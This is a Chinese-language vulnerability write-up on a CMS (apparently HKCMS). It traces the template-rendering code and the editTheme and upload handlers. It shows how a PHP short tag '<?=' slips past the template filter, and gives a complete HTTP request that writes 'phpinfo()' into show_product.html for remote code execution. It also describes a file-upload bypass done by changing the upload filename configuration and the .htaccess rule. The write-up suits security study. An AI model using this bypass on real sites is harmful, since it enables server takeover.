网络安全之某cms的漏洞分析

漏洞描述

该漏洞源于Appcenter.php存在限制,但攻击者仍然可以通过绕过这些限制并以某种方式编写代码,使得经过身份验证的攻击者可以利用该漏洞执行任意命令

漏洞分析

绕过编辑模板限制,从而实现RCE

这里可以修改模板文件,但是不能修改为php文件,可以修改html文件

看看主页是如何识别模板的

随便看一个show方法

复制代码
public function show()
    {
        // 栏目ID
        $catId = $this->request->param('catid','', 'intval');
        // 栏目英文
        $list = $this->request->param('catname','');
        // 父级栏目
        $catdir = $this->request->param('catdir','');
        // 文章ID、或者别名
        $id = $this->request->param('id', '', '');
        // 模型
        $model = $this->request->param('model', 0);

        $key = $this->request->param('key','');

        if (!is_numeric($catId) && empty($list) && !empty($catdir)) {
            $catId = $catdir;
        } else if (!is_numeric($catId) && !empty($list) && empty($catdir)) {
            $catId = $list;
        } else if (!is_numeric($catId) && !empty($list) && !empty($catdir)) {
            $catId = $list;
        }

        if (empty($model) && !empty($catId)) {
            $cateInfo = (new Category)->getCateInfo($catId);
            if (empty($cateInfo)) {
                $this->error(lang('The page doesn\'t exist.'));
            }
            $model = Model::where(['id'=>$cateInfo['model_id'],'status'=>'normal'])->find();
            if (empty($model)) {
                $this->error(lang('Model doesn\'t exist.'));
            }
        } else {
            $model = Model::where(['status'=>'normal'])->where(function ($query) use ($model){
                $query->where(['diyname'=>$model])->whereOr(['tablename'=>$model]);
            })->cache(app()->isDebug()?false:'model')->find();
            if (empty($model)) {
                $this->error(lang('Model doesn\'t exist.'));
            }
        }

        // 文章ID、别名
        if (is_numeric($id)) {
            $where = ['id'=>$id];
        } else {
            $where = ['diyname'=>$id];
        }

        $archives = new Archives();
        if (!empty($key) && md5(app('session')->getId())==$key) { // 授权临时访问禁用的文章
            $info = $archives->with(['category','model'])->where($where)->append(['publish_time_text','fullurl'])->find();
        } else {
            $info = $archives->with(['category','model'])->where($where)->where(['status'=>'normal'])->append(['publish_time_text','fullurl'])->find();
        }
        if (empty($info)) {
            $this->error(lang('The document doesn\'t exist.'));
        }
        if (site('user_on') == 1 && isset($info['islogin']) && $info['islogin'] && !session('Member')) {
            $this->error(__('Please log in and operate'), (string)url('/user.user/login'));
        }
        $info = $info->moreInfo();
        $this->view->assign('__page__', $info['__page__']??null);

        // 父级栏目矫正
        if (!isset($cateInfo) || $cateInfo['id']!=$info['category_id']) {
            $cateInfo = (new Category)->getCateInfo($info['category_id']);
        }

        Db::name('archives')->where(['id'=>$info['id']])->inc('views')->update();
        $this->view->assign('Cate', $cateInfo);
        $this->view->assign('Info', $info);

        // seo 模型固定的默认字段 keywords description
        $seo_title = empty($info['seotitle'])?$info['title']:$info['seotitle'];
        $seo_title = str_replace(['$title','$name','$site'], [$seo_title,$cateInfo['title'],site("title")], site('content_format'));

        $this->view->assign('seo_title', $seo_title);
        $this->view->assign('seo_keywords', isset($info['keywords'])?$info['keywords']:$cateInfo['seo_keywords']);
        $this->view->assign('seo_desc', isset($info['description'])?$info['description']:$cateInfo['seo_desc']);
        $template = explode(".", $info['show_tpl'], 2);
        return $this->view->fetch('show/'.$template[0]);
    }

重点是最后的fetch函数,打个断点,调试一下发现,如果点进一个具体的商品界面渲染的是show_product.html

继续跟进fetch函数

复制代码
public function fetch(string $template = '', array $vars = []): string
    {
        return $this->getContent(function () use ($vars, $template) {
            $this->engine()->fetch($template, array_merge($this->data, $vars));
        });
    }

跟进fetch函数

复制代码
public function fetch(string $template, array $vars = []): void
    {
        if ($vars) {
            $this->data = array_merge($this->data, $vars);
        }

        if (!empty($this->config['cache_id']) && $this->config['display_cache'] && $this->cache) {
            // 读取渲染缓存
            if ($this->cache->has($this->config['cache_id'])) {
                echo $this->cache->get($this->config['cache_id']);
                return;
            }
        }

        $template = $this->parseTemplateFile($template);

        if ($template) {
            $cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5($this->config['layout_on'] . $this->config['layout_name'] . $template) . '.' . ltrim($this->config['cache_suffix'], '.');

            if (!$this->checkCache($cacheFile)) {
                // 缓存无效 重新模板编译
                $content = file_get_contents($template);
                $this->compiler($content, $cacheFile);
            }

            // 页面缓存
            ob_start();
            if (PHP_VERSION > 8.0) {
                ob_implicit_flush(false);
            } else {
                ob_implicit_flush(0);
            }

            // 读取编译存储
            $this->storage->read($cacheFile, $this->data);

            // 获取并清空缓存
            $content = ob_get_clean();

            if (!empty($this->config['cache_id']) && $this->config['display_cache'] && $this->cache) {
                // 缓存页面输出
                $this->cache->set($this->config['cache_id'], $content, $this->config['cache_time']);
            }

            echo $content;
        }
    }

发现只要我们修改了模板文件,就会重新缓存,触发file_get_contents函数,所以我们现在只要将模板文件内容修改为php代码,就可以实现RCE

看看修改模板文件的代码

复制代码
public function editTheme()
    {
        $name = $this->request->param('name');
        // $module = $this->request->param('module'); 暂时只支持前台
        $type = $this->request->param('t');
        if (empty($name)) {
            $this->error(__('Parameter %s can not be empty',['name']));
        }
        if (!Validate::is($name, '/^[a-zA-Z][a-zA-Z0-9_]*$/')) {
            $this->error(__('Illegal request'));
        }

        // 修改文件
        if ($this->request->isPost()) {
            // 路径
            $path = $this->request->post('path','');
            $old_path = $this->request->post('old_path','');
            $path = !empty($path) ? str_replace(['.','//',"\\\\",'/','\\','\/'],'/', trim($path) . '/') : '/';
            $old_path = !empty($old_path) ? str_replace(['.','//',"\\\\",'/','\\','\/'],'/', trim($old_path) . '/') : '/';
            $fun = function ($path){
                if (empty($path) || $path=='/') {
                    return false;
                }
                $pathArr = explode('/', rtrim(ltrim($path,'/'),'/'));
                foreach ($pathArr as $key=>$value) {
                    if (!Validate::is($value, 'alphaDash')) {
                        $this->error(__('Illegal request'));
                    }
                }
            };
            $fun($path);
            $fun($old_path);

            // 文件名
            $filename = $this->request->post('filename');
            $filename = !empty($filename) ? basename(trim($filename)) : '';
            if (empty($filename)) {
                $this->error(__('Parameter %s can not be empty',['']));
            }
            $pathinfo = pathinfo($path.$filename);
            $tmp_filename = $pathinfo['filename'];

            // 旧文件名
            $old = $this->request->post('old','');
            $old = basename($old);
            if (!Validate::is($tmp_filename, '/^[A-Za-z0-9\-\_\.]+$/') || (!empty($old) && !Validate::is(pathinfo($old_path.$old)['filename'], '/^[A-Za-z0-9\-\_\.]+$/'))) {
                $this->error(__('Incorrect file name format'));
            }
            // 内容
            $content = $this->request->post('content','',null);

            list($root, $static) = Cloud::getInstance()->getTemplatePath();
            $root = $type=='tpl'?$root.$name:$static.$name;
            if (!preg_match('#^'.(str_replace('\\','/',$root.DIRECTORY_SEPARATOR)).'#i', str_replace('\\','/', $root.$pathinfo['dirname'].DIRECTORY_SEPARATOR.$pathinfo['basename']))) {
                $this->error(__('Permission denied'));
            }
            if (empty($pathinfo['extension']) || !in_array($pathinfo['extension'],['ini','html','json','js','css'])) {
                $this->error(__('Permission denied'));
            }
            if (!empty($content) && $pathinfo['extension']=='html') {
                // 限制html里面的php相关代码提交
                if (preg_match('#<([^?]*)\?php#i', $content) || (preg_match('#<\?#i', $content) && preg_match('#\?>#i', $content))
                    || preg_match('#\{php#i', $content)
                    || preg_match('#\{:phpinfo#i', $content)
                ) {
                    $this->error(__('Warning: The template has PHP syntax. For safety, please upload it after modifying it in the local editing tool'));
                }
            }

            $adapter = new \League\Flysystem\Local\LocalFilesystemAdapter($root.DIRECTORY_SEPARATOR);
            $filesystem = new \League\Flysystem\Filesystem($adapter);

            try {
                $file = $path.$pathinfo['basename'];
                if (!empty($old_path) && !empty($old)) { // 修改文件
                    if (!$filesystem->fileExists($old_path.$old)) {
                        throw new \Exception(__('%s not exist',[$old_path.$old]));
                    }

                    if ($old==$filename && $old_path==$path) {
                        $filesystem->write($file, $content);
                    } else if ($old!=$filename && $old_path==$path) {
                        if ($filesystem->fileExists($file)) {
                            throw new \Exception(__('%s existed',[$file]));
                        }
                        $filesystem->write($file, $content);
                        $filesystem->delete($old_path.$old);
                    } else {
                        if ($filesystem->fileExists($file)) {
                            throw new \Exception(__('%s existed',[$file]));
                        }
                        $filesystem->write($file, $content);
                        $filesystem->delete($old_path.$old);
                    }
                } else {
                    if ($filesystem->fileExists($file)) {
                        throw new \Exception(__('%s existed',[$file]));
                    }
                    // 新建
                    $filesystem->write($file, $content);
                }
            } catch (\Exception $exception) {
                Log::error("修改模板文件异常:".$exception->getMessage());
                $this->error($exception->getMessage());
            }

            $this->success('','');
        }

        $langs = [];
        $langArr = [];
        $lf = request()->param('lf','');
        if ($type=='lang') {
            list($path, $static) = Cloud::getInstance()->getTemplatePath();
            $langDir = $static.$name.DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR;
            $dataList = app()->make(LangService::class)->getListByModule('index');
            if (is_dir($langDir)) {
                foreach ($dataList as $value) {
                    if (!is_file($langDir.$value['mark'].'.json')) {
                        file_put_contents($langDir.$value['mark'].'.json', "{}");
                    }
                    $langs[] = $value['mark'].'.json';
                }
            }
            $langArr = !empty($langs) ? json_decode(file_get_contents($langDir.($lf && in_array($lf,$langs)?$lf:$langs[0])),true) : [];
        }

        $this->view->assign('name',$name);
        $this->view->assign('type',$type);
        $this->view->assign('langs',$langs);
        $this->view->assign('langArr',$langArr);
        $this->view->assign('curLf',$lf);
        $this->view->assign('template','/template/index/'.$name.'/');
        return $this->view->fetch();
    }

其中存在的过滤

复制代码
if (!empty($content) && $pathinfo['extension']=='html') {
                // 限制html里面的php相关代码提交
                if (preg_match('#<([^?]*)\?php#i', $content) || (preg_match('#<\?#i', $content) && preg_match('#\?>#i', $content))
                    || preg_match('#\{php#i', $content)
                    || preg_match('#\{:phpinfo#i', $content)
                ) {
                    $this->error(__('Warning: The template has PHP syntax. For safety, please upload it after modifying it in the local editing tool'));
                }
            }

可以使用php短标签绕过

复制代码
POST /admin.php/appcenter/editTheme.html HTTP/1.1
Host: 127.0.0.1
Sec-Fetch-Site: same-origin
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
X-Requested-With: XMLHttpRequest
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Cookie: admin_hkcms_lang=zh-cn; HKCMSSESSID=782e7fb254634e9af27235e16ab1dec1
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

name=default&t=tpl&old=show_product.html&old_path=%2Fshow&path=%2Fshow&filename=show_product.html&content=%3C%3F%3D+phpinfo()%3B%0D%0A&__token__=dc7587409140c54150e9c3245c4503eb

然后就可以去对应的渲染的页面

复制代码
http://127.0.0.1/index.php/index/show?id=62&catname=wc

调试一下

禁止目录穿越

成功绕过判断

随后就是write文件

文件上传漏洞

修改站点配置将上传的文件名都改为1.php

看看upload的代码

复制代码
public function upload($files)
    {
        $add = [];
        $infos = [];
        foreach ($files as $key=>$value) {
            $tmpExt = $value->getOriginalExtension();
            $sExt = explode(',',config('cms.script_ext'));
            if (in_array($tmpExt, $sExt)) {
                throw new UploadException(__('Do not allow uploading of script files'));
            }

            validate(
                [
                    'files' => [
                        // 限制文件大小(单位b)
                        'fileSize' => $this->config['file_size'],
                        // 限制文件后缀,多个后缀以英文逗号分割
                        'fileExt'  => $this->config['file_type']
                    ]
                ],
                [
                    'files.fileSize' => __('File cannot exceed %s', [($this->config['file_size']/1024/1024).'MB']),
                    'files.fileExt' => __('Unsupported file suffix'),
                ]
            )->check(['files'=>$value]);


            $name = $this->getFileName($value);
            $value->move(dirname(public_path().$name), $name);

            $fileInfo = new File(public_path().$name);
            $md5 = $fileInfo->md5();
            $size = $fileInfo->getsize();
            if (Validate::is($value->getOriginalMime(), '/^image\//') && $this->water(public_path().$name)) { // 生成水印成功后,获取新的路径
                $fileInfo = new File(public_path().$name);
                $name = $this->getFileName($fileInfo);
                $md5 = $fileInfo->md5();
                $size = $fileInfo->getsize();
                $fileInfo->move(dirname(public_path().$name), $name);
            }

            //$path = app()->filesystem->disk('public')->putFile('', $value, function ($file) use($name) {
            //    return str_replace('.'.$file->getOriginalExtension(), '', $name);
            //});
            //if (!$path) {
            //    throw new UploadException(__('File save failed'));
            //}

            $attr = Attachment::where(['path'=>$name,'storage'=>'local'])->find();
            if ($attr) {
                $attr = $attr->toArray();
                $attr['cdn_url'] = cdn_url($attr['path'], true);
                $infos[] = $attr;
            } else {
                $temp['title'] = Str::substr($value->getOriginalName(), 0, 40);
                $temp['md5'] = $md5;
                $temp['mime_type'] = $value->getOriginalMime();
                $temp['ext'] = $value->getOriginalExtension();
                $temp['size'] = $size;
                $temp['storage'] = $this->config['storage'];
                $temp['path'] = $name;
                $temp['user_type'] = $this->config['user_type'];
                $temp['user_id'] = $this->config['user_id']; // 后台用户
                $temp['cdn_url'] = cdn_url($name, true);
                $add[] = $temp;
                $infos[] = $temp;
            }
        }

        // 缩略图
        $this->thumb($infos);

        if (!empty($add)) {
            $bl = (new \app\admin\model\routine\Attachment)->saveAll($add);
            if (!$bl) {
                throw new UploadException(__('No rows added'));
            }
        }

        // 上传文件后的标签位
        hook('uploadAfter', $infos);
        return $infos;
    }

上传后的文件后缀以config为主

上传成功,但是访问时发现

这是因为在upload文件夹里有一个.htaccess文件

复制代码
<FilesMatch \.(?i:html|php)$>
  Order allow,deny
  Deny from all
</FilesMatch>

意思是禁止访问所有 .html .php文件 ,即 无论谁访问这些文件,都会被拒绝

于是将配置修改为

成功访问

相关推荐
Leo655354 小时前
JDK8 的排序、分组求和,转换为Map
java·开发语言
书源丶6 小时前
二十八、API之《System 类》——与系统交互的“桥梁”
java·交互
Pluchon6 小时前
硅基计划4.0 算法 字符串
java·数据结构·学习·算法
折翅鵬6 小时前
Android 程序员如何系统学习 MQTT
android·学习
野生技术架构师6 小时前
1000 道 Java 架构师岗面试题
java·开发语言
搬砖的小码农_Sky6 小时前
如何将安卓应用迁移到鸿蒙?
android·华为·harmonyos
搬砖的小码农_Sky6 小时前
鸿蒙应用开发和安卓应用开发的区别
android·华为·harmonyos
青柠编程6 小时前
基于Spring Boot的选课管理系统架构设计
java·spring boot·后端
FIN66686 小时前
新天力:食品容器安全与创新的领航者
科技·安全·产品运营·创业创新·制造
alex1007 小时前
BeaverTails数据集:大模型安全对齐的关键资源与实战应用
人工智能·算法·安全